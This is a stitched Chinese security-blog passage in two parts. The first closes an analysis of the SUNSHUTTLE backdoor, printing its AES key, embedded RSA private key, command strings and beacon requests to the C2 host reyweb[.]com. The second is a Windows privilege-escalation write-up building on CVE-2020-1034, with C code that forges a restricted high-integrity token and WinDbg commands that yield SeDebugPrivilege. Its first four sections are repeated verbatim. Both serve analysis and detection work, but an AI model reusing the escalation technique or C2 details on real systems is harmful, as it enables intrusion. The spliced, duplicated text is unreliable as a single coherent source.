如果检查通过,则SUNSHUTTLE后门会进入到一个名为“main_define_internal_settings”的例程,该例程将判断运行SUNSHUTTLE的目录中是否存在配置文件,如果不存在则创建该文件。在我们所分析的样本中,配置文件名是“config.dat.tmp”。使用以下密钥对配置数据进行Base64编码和AES-256加密:

hz8l2fnpvp71ujfy8rht6b0smouvp9k8

在对Base64进行解码、对AES进行解密后,样本的配置文件内容如下:

48b9e25491e088a35105274cae0b9e67|5-15|0|0|TW96aWxsYS81LjAgKFdpbmRvd3MgTlQgMTAuMDsgV2luNjQ7IHg2NDsgcnY6NzUuMCkgR2V
ja28vMjAxMDAxMDEgRmlyZWZveC83NS4w

在配置中,使用“|”字符进行不同值的区分,简要描述如下。

48b9e25491e088a35105274cae0b9e67

执行期间计算出当前时间戳的MD5哈希值。

5-15

SUNSHUTTLE执行期间随机睡眠时间的最小值和最大值。

0

是否使用“融合”流量请求,内部将其称为“false_requesting”。

0

激活(activation)执行时间戳(默认为0),如果当前时间大于配置中的值,则执行“激活”或继续。

TW96aWxsYS81LjAgKFdpbmRvd3MgTlQgMTAuMDsgV2luNjQ7IHg2NDsgcnY6NzUuMCkgR2Vja2
8vMjAxMDAxMDEgRmlyZWZveC83NS4w

HTTP请求中使用Base64编码后的User Agent,解码后内容为:Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0 。

如果进行了相应配置,则在恶意软件执行过程中会利用以下URL实现流量“融合”:

https://reyweb[.]com/icon.ico
https://reyweb[.]com/icon.png
https://reyweb[.]com/script.js
https://reyweb[.]com/style.css
https://reyweb[.]com/css/style.css
https://reyweb[.]com/css/bootstrap.css
https://reyweb[.]com/scripts/jquery.js
https://reyweb[.]com/scripts/bootstrap.js
https://cdn.mxpnl[.]com/
https://cdn.google[.]com/
https://cdn.jquery[.]com/
https://code.jquery[.]com/
https://cdn.cloudflare[.]com/

5.4 会话密钥机制

SUNSHUTTLE执行对C2的初始请求,以请求并检索其内部称为“会话密钥”(Session Key)的内容。在从C2检索到会话密钥后,使用嵌入在SUNSHUTTLE中的以下私钥进行RSA解密,该密钥针对每个编译版本来说都是唯一的。我们正在分析该恶意软件如何利用解密后得到的会话密钥,不过在SUNSHUTTLE的命令与控制例程中,该密钥很可能是用于加密内容的会话密钥。

-----BEGIN PRIVATE KEY-----
MIIEowIBAAKCAQEA0Aj/3K3m/rKNESwUfHC9qAhnsNYA9bJ4HQ30DPsfPDvbbHZm
Uj5nyp2abjYZYMQbWa2+ZO4Ixgfdm0FzsAH/haKIN4sSkbw+YRESYW35MnMI3Adf
mj/eK/yKNblyoe/7iWP3nz+y4Q/QI0L6BrF7VodTaDYtDup3iI+B5zjmhElf9Fmg
S1JiDUgydz5VXJR/esv6hB7GMfEb/3sIAzv5qcwEvGK5HH1EzQ7zjauyhbsF9pHR
zCFYlvW4OtaU0o3xjVufo5UwYRS5p/EFpof45zuJGLJ02cKUmxc0OX53t3Bn9WXY
aDDhYp/RPzywG8N9gTBv8rKxRIsFxxKu+8wK+QIDAQABAoIBAGe4hPDe13OXTBQK
uTAN+dEkV6ZoHFRjpdU+lrY+IiWi5lSed4d7y73OdCeM23xOaiB9KpchwsgRNeDp
cieH54EWNvoSYbC9fRBiNZrT/NG1Xu5s0rKSM1AU+kes7UVl5DBs4hHI7YOeobRi
+UuLA6ZxlBk6IZ71MaGpgyfoS64aDMvZDtcaTEGzw6dRQAU9255DTIc2YYbq8MqL
zSafD5eBDH3Izmblg0kXiidec1A1sytz5u8xW4XckHfp4xePLVw/RvLJGqNJMK5M
7tXAFwPzg+u4k7ce7uNw9VWW7n28T9xznUux1gtPQj1N6goDaBaOqY+h0ia9F1RP
wu6ZtG0CgYEA8vCFmAGmMz4vjO04ELyPnvnaS6CReYCVzmvNugIDlxBLDGCnKBVx
et7qEk3gMkbtcDUOZpXQAIVCWQNupAhI0t5bb/Pfw3HtH3Xt5NRUYmwxTgNRe06D
i4ICsg2+8TDinjne9hzsEe9DYE2WRrtLMJ+IPD+QE94J3Sei03k1wpMCgYEA2zga
Tff6jQeNn9G0ipHa1DvJmi98px51o0r7TUfZRxJfgg4ckyMsZUHKALrZszKAnxP7
MXYrJuOHpsp0EZc1e3uTjFzrKyKRTQ78c7MNGv07w1PlZuNLtkoqepUjkQzdxKZO
g9gG0O4lC5jjnSg8jUSChhZn+jrU8Vx7ByOP98MCgYAWi5+6RZzo8IJ1L6aeVwF1
HXbWweX+QqKkb3i+JGW05Twxv96DZ8oKPxm17Sg7Qj3Sxfm6J3kQM02++QSRkHtB
poUR1K4Vc0MwQj97lwDlyWih9sjfCqBGmCAr6f6oX4MIcBJzAKgf2faEv26MzeDi
eEuqW7PBRD/iGEWSHpOQpQKBgQDRgV+aTjk0mRhfugHKQLSbCnyUj3eZG8IfiiR7
agQcKVH/sE7cy8u9Bc/xPKGb4dMMtQLm9WEuLFtTKr8cpJ8nYSXVCmRx9/pXY9Af
HuqSdZutBDwERYvxLhZEys2P7XTwYGQ/GrEA8eeTms1FP9QGyofXcAh1G86w0Mp/
Oxx3EwKBgHXxgQa4/ngTlMNhWP+IvHOlOVAxDK2GL3XQdr8fudZe9c1d7VzIbYj6
gbwLT9qi0wG5FAWqH163XucAirT6WCtAJ3tK0lfbS7oWJ7L/Vh1+vOe6jfS/nQna
Ao2QPbN8RiltHeaAq0ZfrgwrQuP5fmigmBa5lOWID/eU2OLlvJGi
-----END PRIVATE KEY---

在创建配置或从中读取配置后,SUNSHUTTLE将进入到名为“main_request_session_key”的例程。恶意软件将在这一例程上进行循环,每次循环后休眠一段时间,直到成功为止。

在“main_request_session_key”例程中,SUNSHUTTLE为其构造的C2构造一个HTTPS请求。根据请求的HTTP 200响应,预期来自C2的响应数据中不应包含以下字符串:

ywQdjLuHHC

如果该字符串不在响应中,则request_session_key例程返回1。如果该字符串包含在响应之中,则返回-1。如果request_session_key的结果为1,则SUNSHUTTLE将执行retrieve_session_key例程。

retrieve_session_key例程将再次与C2通信,并下载特定加密内容,使用上述嵌入的私钥进行解密。一旦SUNSHUTTLE进入到命令与控制例程,解密的内容很可能是用于加密内容的会话密钥。

5.5 命令

在从C2检索到会话密钥后,SUNSHUTTLE将在循环中启动信标和“resolve_command”例程。SUNSHUTTLE首先发出信标以检索命令。随后,它将进入到例程“resolve_command”之中,该例程将解析响应内容,从而确定应该运行哪个命令。可以使用的命令包括远程更新配置、上传、下载和任意命令执行。

解析命令示意图:

2.png

在“main_beaconing”例程之后,会对从C2返回的内容进行Base64解码和AES解密。这里会执行一次检查,以确认解密后的内容不包含以下字符串:

Cp5RTQ31R1

同之前的一样,这些字符串可能针对每个样本都是唯一的,并且在编译时会随机生成。

解密后的字符串内容及解析如下:

zSsP2TSJJm3a    更新睡眠时间范围并保存配置

aQJmWJzXdYK721mGBI3U    更新“false_requesting”(融合)值并保存配置

W5VYP9Iu2uyHK    更新C2 URL和用户代理并保存配置

3487wD9t2OZkvqdwRpqPeE    将当前时间戳发送到C2

ubFxROBRwfswVRWNjLC    更新配置中的“activation”时间戳并保存配置

TMuhGdA9EHY    如果文件存在,将其上传到C2

1kG4NaRX83BCMgLo38Bjq    执行命令,如果成功则返回“EXECED”

hB0upT6CUmdRaR2KVBvxrJ    执行命令,返回结果或输出

N/A(符合其他字符串条件)    提供终端命令执行

N/A(符合其他字符串条件)    从C2下载文件

0x06 投放文件

在成功执行恶意软件后,会将以下文件投递到受害者的系统中:

该文件是加密后的配置文件。

0x07 持久化方法

我们未观察到SUNSHUTTLE恶意软件具有任何持久化方法。不排除该恶意活动是在SUNSHUTTLE外部设置持久性的。

0x08 网络通信

SUNSHUTTLE使用Cookie标头将值传递给C2。此外,恶意软件会从下面的列表中选择一个来源地址。在我们解密流量并进行检查时,可能会被混淆。

www.bing.com

www.yahoo.com

www.google.com

www.facebook.com

Cookie标头根据所执行的操作而略有不同。下面是从“request_session_key”例程向C2发出的示例请求。

(受害者主机到C2)

GET /assets/index.php HTTP/1.1
Host: reyweb[.]com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0
Cookie: HjELmFxKJc=48b9e25491e088a35105274cae0b9e67; P5hCrabkKf=gZLXIeKI; iN678zYrXMJZ=i4zICToyI70Yeidf1f7rWjm5foKX2Usx; b7XCoFSvs1YRW=78
Referer: www.facebook.com
Accept-Encoding: gzip

在Cookie标头中,其不同值含义如下。

HjELmFxKJc=48b9e25491e088a35105274cae0b9e67

配置中包含的时间戳MD5。

P5hCrabkKf=gZLXIeKI

“P5hCrabkKf=”包含一个唯一的字符串,该字符串表示正在执行请求的例程(详细参考下表)。

iN678zYrXMJZ=i4zICToyI70Yeidf1f7rWjm5foKX2Usx

“i4zICToyI70Yeidf1f7rWjm5foKX2Usx”是在SUNSHUTTLE后门中硬编码的值,它可能表示Payload标识符。

b7XCoFSvs1YRW=78

含义不明,此值仅包含在request_session_key和retrieve_session_key请求中。

如上所述,每个请求中包含的Cookie值“P5hCrabkKf=”都表示正在执行的操作,其对应关系如下。

gZLXIeK    main_request_session_key

do1KiqzhQ    main_clean_file

t5UITQ2PdFg5    main_wget_file

cIHiqD5p4da6OeB    main_retrieve_session_key

xpjQVt3bJzWuv    main_send_file_part

S4rgG1WifHU    main_send_command_result

在成功安装/初始化恶意软件后,它将继续通过TCP/443 HTTPS对C2服务器reyweb[.]com进行以下回调:

(受害者主机到C2)

GET /assets/index.php HTTP/1.1
Host: reyweb[.]com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0
Cookie: HjELmFxKJc=48b9e25491e088a35105274cae0b9e67; P5hCrabkKf=gZLXIeKI; iN678zYrXMJZ=i4zICToyI70Yeidf1f7rWjm5foKX2Usx; b7XCoFSvs1YRW=78
Referer: www.facebook.com
Accept-Encoding: gzip

(受害者主机到C2)

GET /assets/index.php HTTP/1.1
Host: reyweb[.]com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0
Cookie: HjELmFxKJc=48b9e25491e088a35105274cae0b9e67; P5hCrabkKf=gZLXIeKI; iN678zYrXMJZ=i4zICToyI70Yeidf1f7rWjm5foKX2Usx; b7XCoFSvs1YRW=78
Referer: www.yahoo.com
Accept-Encoding: gzip

此外,如果将“fake_requesting”配置值设置为1,则SUNSHUTTLE将生成与真实流量相融合的流量。这些请求的示例如下:

(受害者主机到C2)

GET /icon.png HTTP/1.1
Host: reyweb[.]com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0
Referer: www.google.com
Accept-Encoding: gzip

(受害者主机到C2)

GET /css/style.css HTTP/1.1
Host: reyweb[.]com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0
Referer: www.facebook.com
Accept-Encoding: gzip

(受害者主机到C2)

GET /css/bootstrap.css HTTP/1.1
Host: reyweb[.]com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0
Referer: www.facebook.com
Accept-Encoding: gzip

(受害者主机到合法站点)

GET / HTTP/1.1
Host: cdn.cloudflare[.]com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0
Referer: www.google.com
Accept-Encoding: gzip

0x09 附录:MITRE ATT&CK框架

T1027 混淆的文件或信息

T1027.002 软件加壳

T1059.003 Windows命令Shell

T1071.001 网络协议

T1105 入口工具转移

T1140 反混淆/解码文件或信息

T1573.001 对称密码学

0x0A 附录:检测技术

FireEye安全解决方案可以提供跨电子邮件、终端和网络级别的SUNSHUTTLE恶意活动检测。以下是与恶意软件相关的检测指标。

· 平台:网络安全、邮件安全、实时检测、恶意软件文件扫描、恶意软件文件存储扫描

· 检测名称:

FE_APT_Backdoor_Win64_SUNSHUTTLE_1

FE_APT_Backdoor_Win_SUNSHUTTLE_1

APT.Backdoor.Win.SUNSHUTTLE

APT.Backdoor.Win.SUNSHUTTLE.MVX

· 平台:终端安全

· 检测名称:

恶意软件防护(AV/MG)

Trojan.GenericKD.34453763

Generic.mg.9466c865f7498a35

0x00 前言

在上一篇文章中,我分析了CVE-2020-1034,该漏洞允许我们增加任意地址,我们在掌握了ETW内部原理之后就可以利用这一漏洞,为我们的进程增加SeDebugPrivilege权限并创建一个提升后的进程。在这篇文章中,我们将再增加一些限制条件,并深入分析如何能够绕过这些限制条件,最终仍然获得我们想要的结果。如果是从低IL或中IL实现到系统级别的权限提升,无疑会使这一过程的难度提高一个层次。

0x01 新的限制

在上一篇文章中,我编写了一个漏洞利用代码,但我们想象在此基础上内核增加了新的限制,从而不再允许我们直接增加Token.Privileges.Enabled。例如,设置了一个只读字段,仅允许特定内核代码可以修改。那么在这种情况下,我们如何在不增加地址的情况下启用特权?

0x02 启用特权

这个问题的答案非常简单,如同进程可以启用其拥有但被禁用的其他任意特权一样,我们可以通过RtlAdjustPrivilege或其advapi32 wrapper AdjustTokenPrivileges来启用SeDebugPrivilege特权。但是,这里遇到了一个问题,当我们尝试调用RtlAdjustPrivilege启用新添加的SeDebugPrivilege时,我们会返回STATUS_PRIVILEGE_NOT_HELD。

要了解为什么会发生这种情况,我们需要查看与启用特权相关的内核函数,这部分代码的可读性非常差。为了尝试启用特权,RtlAdjustPrivilege使用系统调用NtAdjustPrivilegesToken。这个函数首先检查进程是否正在以高、中、低完整性级别运行。如果具有较高的完整性级别,则可以启用它拥有的任何特权。但是,如果发现正在以中等完整性级别运行,则会进行以下检查:

1.png

每个请求的特权都会对照这个常数值进行检查,这个常数表示允许中等完整性级别进程具有的特权。SeDebugPrivilege的值为0x100000 (1 << 20),可以看到我们所需的特权不在其涵盖的范围之内,因此没有以高完整性级别运行的进程都无法启用这一特权。如果我们选择以低完整性级别或者在AppContainer中运行进程,那么这些进程将会进行类似的检查,但限制值会更大。如同往常一样,简单的方法遭遇了失败。但是,总会有解决这个问题的方法,我们只需要对操作系统进行更深入的研究就能找到这些方法。

0x03 虚假EoP指向真正的EoP

我们需要得到较高完整性级别或者系统级的进程才能启用调试特权,但我们又打算利用调试特权将自身(子进程)提升到系统级别。因此,就陷入了一个死循环。

但真实情况并非如此,实际上我们并不需要较高级别或系统级别的IL进程,只需要一个较高级别或系统级别IL的令牌即可。进程并不是必须使用创建时所使用的令牌。线程可以模拟它们拥有的任何令牌,包括具有更高完整性级别的令牌。不过,要实现这一点,我们需要处理一个具有更高IL的进程的句柄,从而复制令牌和模拟令牌。为了打开这样一个进程的句柄,我们需要一些目前没有获得的特权,例如调试特权。这样一来,就陷入了死循环。

然而,这一环节中可能存在漏洞。如果我们能够创建满足要求的令牌,就无需再使用其他进程的令牌。

要了解如何实现这一点,我们首先需要掌握有关Windows安全模型和完整性级别工作原理的知识。我和Alex以及James Forshaw展示了这个方案,并且得到了他们的认可。

0x04 利用令牌、完整性级别以及未受保护的数组

要检查令牌的完整性级别,我们需要查看TOKEN结构中名为IntegrityLevelIndex的字段。我们可以将其进行转储,以查看其中包含的内容:

dx ((nt!_TOKEN*)(@$curprocess.KernelObject.Token.Object & ~0xf))->IntegrityLevelIndex
((nt!_TOKEN*)(@$curprocess.KernelObject.Token.Object & ~0xf))->IntegrityLevelIndex : 0xe [Type: unsigned long]

顾名思义,这个值本身不能给我们太多信息,因为它只是SID_AND_ATTRIBUTES结构数组中的一个索引,被UserAndGroups字段指向。通过查看SepLocateTokenIntegrity可以证实这一点,该方法由SepAdjustPrivileges调用,以确定要调整其特权的令牌的完整性级别。

2.png

这个数组有多个条目,具体的数量随进程的不同而变化。可以根据UserAndGroupCount字段查看具体的数量:

dx ((nt!_TOKEN*)(@$curprocess.KernelObject.Token.Object & ~0xf))->UserAndGroupCount
((nt!_TOKEN*)(@$curprocess.KernelObject.Token.Object & ~0xf))->UserAndGroupCount : 0xe [Type: unsigned long]
dx -g *((nt!_SID_AND_ATTRIBUTES(*)[0xe])((nt!_TOKEN*)(@$curprocess.KernelObject.Token.Object & ~0xf))->UserAndGroups)

3.png

顾名思义,SID_AND_ATTRIBUTES结构中包含一个安全描述符(SID)及其特定属性。这些属性取决于我们正在使用的数据类型,我们可以在这里找到这些属性的含义。结构的安全标识符部分会告诉我们这个令牌属于哪个用户和组。这个信息可以确定令牌的完整性级别,以及令牌可以在系统上进行的操作。例如,只有某些组可以访问特定进程和文件。在上一篇文章中我们也提到过,大多数GUID仅允许特定组进行注册。SID的歌是为S-1-X-…,比较易于识别。

我们可以改进WinDbg查询,从而以清晰的格式展示令牌所属的所有组:

dx –s @$sidAndAttr = *((nt!_SID_AND_ATTRIBUTES(*)[0xf])((nt!_TOKEN*)(@$curprocess.KernelObject.Token.Object & ~0xf))->UserAndGroups)
dx -g @$sidAndAttr.Select(s => new {Attributes = s->Attributes, Sid = Debugger.Utility.Control.ExecuteCommand("!sid " + ((__int64)(s->Sid)).ToDisplayString("x"))[0].Remove(0, 8)})

4.png

令牌指向的条目0xe是表中的最后一个条目,它是中等完整性级别的SID,这也就是我们无法启用调试特权的原因。但是,该系统的设计为我们提供了一种绕过完整性级别的方法。UserAndGroups字段指向数组,但是数组是在TOKEN结构之后立即分配的。这并不是在这一内存块中的最后一项工作。如果我们转储TOKEN结构,可以看到在UserAndGroups字段之后,还有另一个指向相同格式数组的指针,名为RestrictedSids。

[+0x098] UserAndGroups    : 0xffffad8914e1e4f0 [Type: _SID_AND_ATTRIBUTES *]    
[+0x0a0] RestrictedSids   : 0x0 [Type: _SID_AND_ATTRIBUTES *]

受限令牌是一种通过仅允许令牌访问其ACL允许访问SID的对象,来限制特定进程或线程所具有的访问权限的方法。例如,如果令牌有针对“Bob”的受限SID,那么使用此令牌的进程或线程只能在文件明确允许访问“Bob”的情况下访问文件。即使“Bob”是允许访问文件的组成员(例如Users或Everyone),除非文件事先知道是“Bob”尝试访问它并将SID添加到ACL,否则将拒绝访问。有时,在服务中会使用这一功能,限制只能访问其使用所必需的对象,减少潜在的攻击面。受限令牌还可以用于从令牌中删除不需要的默认特权。例如,BFR服务使用写入受限令牌,这意味着它对任何对象仅具有读取访问权限,但只能对显式允许其SID的对象获得写访问权限。

5.png

关于受限令牌,有两点比较重要的事情,可以帮助我们实现特权提升:

1、受限SID数组在UserAndGroups数组之后立即分配。

2、可以为任意SID创建受限令牌,包括该进程当前没有的令牌。

这两个事实表明,即使是一个较低或中等完整性级别的进程,也可以为较高完整性进程的SID创建一个受限令牌并模拟它。这会在UserAndGroups数组之后立即向RestrictedSids数组添加一个新的SID_AND_ATTRIBUTES条目,其方式可以看作是UserAndGroups数组的下一个条目。当前的IntegrityLevelIndex指向UserAndGroups数组中的最后一个条目,因此索引的增加会使其指向高完整性级别的新受限令牌。那么,我们能否获得一个任意增加漏洞呢?

6.png

我们来尝试一下。首先使用CreateWellKnownSid创建一个WinHighLabelSid,然后使用CreateRestrictedToken创建一个具有较高完整性级别SID的新受限令牌,然后进行模拟:

HANDLE tokenHandle;
HANDLE newTokenHandle;
HANDLE newTokenHandle2;
PSID pSid;
PSID_AND_ATTRIBUTES sidAndAttributes;
DWORD sidLength = 0;
BOOL bRes;
//
// Call CreateWellKnownSid once to check the needed size for the buffer
//
CreateWellKnownSid(WinHighLabelSid, NULL, NULL, &sidLength);
//
// Allocate a buffer and create a high IL SID
//
pSid = malloc(sidLength);
CreateWellKnownSid(WinHighLabelSid, NULL, pSid, &sidLength);
//
// Create a restricted token and impersonate it
//
sidAndAttributes = (PSID_AND_ATTRIBUTES)malloc(0x20);
sidAndAttributes->Sid = pSid;
sidAndAttributes->Attributes = 0;
bRes = OpenProcessToken(GetCurrentProcess(),
                        TOKEN_ALL_ACCESS,
                        &tokenHandle);
if (bRes == FALSE)
{
    printf("OpenProcessToken failed\n");
    return 0;
}
bRes = CreateRestrictedToken(tokenHandle,
                             WRITE_RESTRICTED,
                             0,
                             NULL,
                             0,
                             NULL,
                             1,
                             sidAndAttributes,
                             &newTokenHandle2);
if (bRes == FALSE)
{
    printf("CreateRestrictedToken failed\n");
    return 0;
}
bRes = ImpersonateLoggedOnUser(newTokenHandle2);
if (bRes == FALSE)
{
    printf("Impersonation failed\n");
    return 0;
}

接下来,我们看看线程令牌和其所在组。注意,我们正在模拟这个新令牌,因此需要检查线程的模拟令牌,因为我们的主进程令牌不会受到下述影响。

dx -s @$token = ((nt!_TOKEN*)(@$curthread.KernelObject.ClientSecurity.ImpersonationToken & ~0xf))
dx new {GroupsCount = @$token->UserAndGroupCount, UserAndGroups = @$token->UserAndGroups, RestrictedCount = @$token->RestrictedSidCount, RestrictedSids = @$token->RestrictedSids, IntegrityLevelIndex = @$token->IntegrityLevelIndex}
new {GroupsCount = @$token->UserAndGroupCount, UserAndGroups = @$token->UserAndGroups, RestrictedCount = @$token->RestrictedSidCount, RestrictedSids = @$token->RestrictedSids, IntegrityLevelIndex = @$token->IntegrityLevelIndex}
GroupsCount      : 0xf [Type: unsigned long]
UserAndGroups    : 0xffffad890d5ffe00 [Type: _SID_AND_ATTRIBUTES *]
RestrictedCount  : 0x1 [Type: unsigned long]
RestrictedSids   : 0xffffad890d5ffef0 [Type: _SID_AND_ATTRIBUTES *]
IntegrityLevelIndex : 0xe [Type: unsigned long]

UserAndGroups仍然具有0xf条目,且此时我们的IntegrityLevelIndex仍然为0xe,与主令牌一致。不过现在,我们就拥有了一个受限SID。前面我提到过,由于内存布局,我们可以将这个受限SID视为UserAndGroups数组中的其他条目,我们可以对此进行测试。接下来,我们尝试使用与之前相同的方式转储数组,但这里假设它具有0x10条目:

dx -s @$sidAndAttr = *((nt!_SID_AND_ATTRIBUTES(*)[0x10])@$token->UserAndGroups)
dx -g @$sidAndAttr.Select(s => new {Attributes = s->Attributes, Sid = Debugger.Utility.Control.ExecuteCommand("!sid " + ((__int64)(s->Sid)).ToDisplayString("x"))[0].Remove(0, 8)})

7.png

结果证明是有效的!现在就有了0x10个有效条目,最后一个具有较高完整性级别的SID,就如同我们最开始希望的那样。

现在,我们就可以使用与之前相同的方式运行漏洞利用程序,只不过这里有两处调整:

1、所有更改都需要使用我们当前的线程令牌,而不再是主进程令牌。

2、我们需要触发两次漏洞利用,第一次增加Privileges.Present以设置SeDebugPrivilege特权,第二次增加IntegrityLevelIndex以指向0xf条目。

在这一过程中,没有验证IntegrityLevelIndex是否低于UserAndGroupCount。即使有这样的验证过程,我们也可以再次利用相同的漏洞来修改其级别。因此,当新的模拟令牌指向较高完整性级别的SID时,SepAdjustPrivileges就会认为它正在以较高完整性级别的进程运行,并允许我们启用所需的任意特权。在对漏洞利用进行修改后,我们可以再次尝试运行,并看到RtlAdjustPrivileges这次返回STATUS_SUCCESS。但是,我并不完全相信API,而是想要亲自检查一下:

8.png

或者,如果大家更喜欢使用WinDbg:

dx -s @$t0 = ((nt!_TOKEN*)(@$curthread.KernelObject.ClientSecurity.ImpersonationToken & ~0xf))
1: kd> !token @$t0 -n
_TOKEN 0xffffad89168c4970
TS Session ID: 0x1
User: S-1-5-21-2929524040-830648464-3312184485-1000 (User:DESKTOP-3USPPSB\yshafir)
User Groups:
...
Privs:
19 0x000000013 SeShutdownPrivilege               Attributes -
20 0x000000014 SeDebugPrivilege                  Attributes - Enabled
23 0x000000017 SeChangeNotifyPrivilege           Attributes - Enabled Default
25 0x000000019 SeUndockPrivilege                 Attributes -
33 0x000000021 SeIncreaseWorkingSetPrivilege     Attributes -
34 0x000000022 SeTimeZonePrivilege               Attributes -
Authentication ID:         (0,2a084)
Impersonation Level:       Impersonation
TokenType:                 Impersonation
...
RestrictedSidCount: 1      
RestrictedSids: 0xffffad89168c4ef0
Restricted SIDs:
00 S-1-16-12288 (Label: Mandatory Label\High Mandatory Level)
Attributes - Mandatory Default Enabled
…

如同最开始的目标,现在我们的模拟令牌已经拥有了SeDebugPrivilege。现在,我们就可以执行之前的操作,在DcomLaunch服务下运行提升权限后的cmd.exe。您可能会想,既然我们已经拥有了高完整性级别的令牌,是否还需要沿用之前的方式呢?实际上,受限令牌并不是真正意义上的常规令牌,如果尝试使用受限令牌作为虚假的提升权限进程来运行,可能会遇到一些问题,并且对于扫描进程的防御工具来说,看上去也非常可疑。综合考虑,最好的方案还是创建一个可以以SYSTEM身份运行且没有太多可疑之处的新进程。

0x05 检测方式

我们使用的方法非常巧妙,这种方式不仅能欺骗系统,而且还很难被发现。对于防御者来说,最有效的判断方式是确认IntegrityLevelIndex是否属于UserAndGroups数组的范围。但即使是进行了这样的确认,攻击者也很容易再次触发漏洞并增加UserAndGroupCount。如果根据计数来计算UserAndGroup数组的结束地址,并将其与RestrictedSids数组的起始地址进行比较,看二者是否匹配,这种方法仍然是有效的。不过,这样的检测方式非常有针对性,需要针对这种不常见的攻击方式进行深入分析后才能得到这种方法。

还有第二种方法,就是搜索模拟受限令牌的线程。这是非常不常见的情况,在我进行搜索时,得到的唯一结果就是我的漏洞利用:

dx @$cursession.Processes.Where(p => p.Threads.Where(t => t.KernelObject.ActiveImpersonationInfo != 0 && ((nt!_TOKEN*)(t.KernelObject.ClientSecurity.ImpersonationToken & ~0xf))->RestrictedSidCount != 0).Count() != 0)
@$cursession.Processes.Where(p => p.Threads.Where(t => t.KernelObject.ActiveImpersonationInfo != 0 && ((nt!_TOKEN*)(t.KernelObject.ClientSecurity.ImpersonationToken & ~0xf))->RestrictedSidCount != 0).Count() != 0)
[0x279c]         : exploit_part_2.exe [Switch To]

不过这是一个非常有针对性的搜索,只能够发现这种特殊的漏洞利用场景。并且,如果攻击者在启用特权后将线程恢复为原始令牌,这种检测方法就失效了。作为攻击者来说,这无疑是一个好习惯,不要让漏洞利用产生的“可疑”属性保持太长时间,从而就可以尽可能地规避被检测到的风险。与此同时,我在上一篇文章中提到的检测方式仍然适用于这里的场景,因为我们利用的漏洞相同、触发方式相同、仍然注册了一个新的ETW提供程序并且其他人都没有使用它、仍然留下了一个占用的位置且无法清空。因此,如果我们足够了解漏洞利用的过程,就有足够多的条件可以实现检测。

当然,在这里还有一点不同以往,就是中等完整性级别的进程会突然抢占SeDebugPrivilege,打开DcomLaunch的句柄,并创建一个新的父级提升权限的进程。这样的特征可能会成为EDR产品的一些检测指标。

0x06 总结

这篇文章描述了一个假设的场景,在这样的场景中,我们不能再简单地在进程令牌中增加Privileges.Enabled。我们目前在日常中还不需要使用这些独特的技巧,但是这些技巧是非常容易找到和利用的,就如同DIY CTF一样,也许这些技巧某一天会在另一个场景中有所帮助。这些技巧清晰地表明,令牌中包括许多值得关注的字段,可以以各种方式利用。与此同时,我们需要对一些内部原理知识有更深入的了解。

由于令牌非常容易受到攻击,并且不会经常更改,所以作为防御措施,可以考虑将其转移到安全池之中。

上篇文章和这篇文章中,我最终获得了SeDebugPrivilege,并使用了一些技巧来创建一个提升权限后的进程。在后续的文章中,我将会介绍一些其他特权,这些特权在漏洞利用的过程中经常会被忽略,并且可以以出人意料的方式来利用。

0x00 前言

在上一篇文章中,我分析了CVE-2020-1034,该漏洞允许我们增加任意地址,我们在掌握了ETW内部原理之后就可以利用这一漏洞,为我们的进程增加SeDebugPrivilege权限并创建一个提升后的进程。在这篇文章中,我们将再增加一些限制条件,并深入分析如何能够绕过这些限制条件,最终仍然获得我们想要的结果。如果是从低IL或中IL实现到系统级别的权限提升,无疑会使这一过程的难度提高一个层次。

0x01 新的限制

在上一篇文章中,我编写了一个漏洞利用代码,但我们想象在此基础上内核增加了新的限制,从而不再允许我们直接增加Token.Privileges.Enabled。例如,设置了一个只读字段,仅允许特定内核代码可以修改。那么在这种情况下,我们如何在不增加地址的情况下启用特权?

0x02 启用特权

这个问题的答案非常简单,如同进程可以启用其拥有但被禁用的其他任意特权一样,我们可以通过RtlAdjustPrivilege或其advapi32 wrapper AdjustTokenPrivileges来启用SeDebugPrivilege特权。但是,这里遇到了一个问题,当我们尝试调用RtlAdjustPrivilege启用新添加的SeDebugPrivilege时,我们会返回STATUS_PRIVILEGE_NOT_HELD。

要了解为什么会发生这种情况,我们需要查看与启用特权相关的内核函数,这部分代码的可读性非常差。为了尝试启用特权,RtlAdjustPrivilege使用系统调用NtAdjustPrivilegesToken。这个函数首先检查进程是否正在以高、中、低完整性级别运行。如果具有较高的完整性级别,则可以启用它拥有的任何特权。但是,如果发现正在以中等完整性级别运行,则会进行以下检查:

1.png

每个请求的特权都会对照这个常数值进行检查,这个常数表示允许中等完整性级别进程具有的特权。SeDebugPrivilege的值为0x100000 (1 << 20),可以看到我们所需的特权不在其涵盖的范围之内,因此没有以高完整性级别运行的进程都无法启用这一特权。如果我们选择以低完整性级别或者在AppContainer中运行进程,那么这些进程将会进行类似的检查,但限制值会更大。如同往常一样,简单的方法遭遇了失败。但是,总会有解决这个问题的方法,我们只需要对操作系统进行更深入的研究就能找到这些方法。

0x03 虚假EoP指向真正的EoP

我们需要得到较高完整性级别或者系统级的进程才能启用调试特权,但我们又打算利用调试特权将自身(子进程)提升到系统级别。因此,就陷入了一个死循环。

但真实情况并非如此,实际上我们并不需要较高级别或系统级别的IL进程,只需要一个较高级别或系统级别IL的令牌即可。进程并不是必须使用创建时所使用的令牌。线程可以模拟它们拥有的任何令牌,包括具有更高完整性级别的令牌。不过,要实现这一点,我们需要处理一个具有更高IL的进程的句柄,从而复制令牌和模拟令牌。为了打开这样一个进程的句柄,我们需要一些目前没有获得的特权,例如调试特权。这样一来,就陷入了死循环。

然而,这一环节中可能存在漏洞。如果我们能够创建满足要求的令牌,就无需再使用其他进程的令牌。

要了解如何实现这一点,我们首先需要掌握有关Windows安全模型和完整性级别工作原理的知识。我和Alex以及James Forshaw展示了这个方案,并且得到了他们的认可。

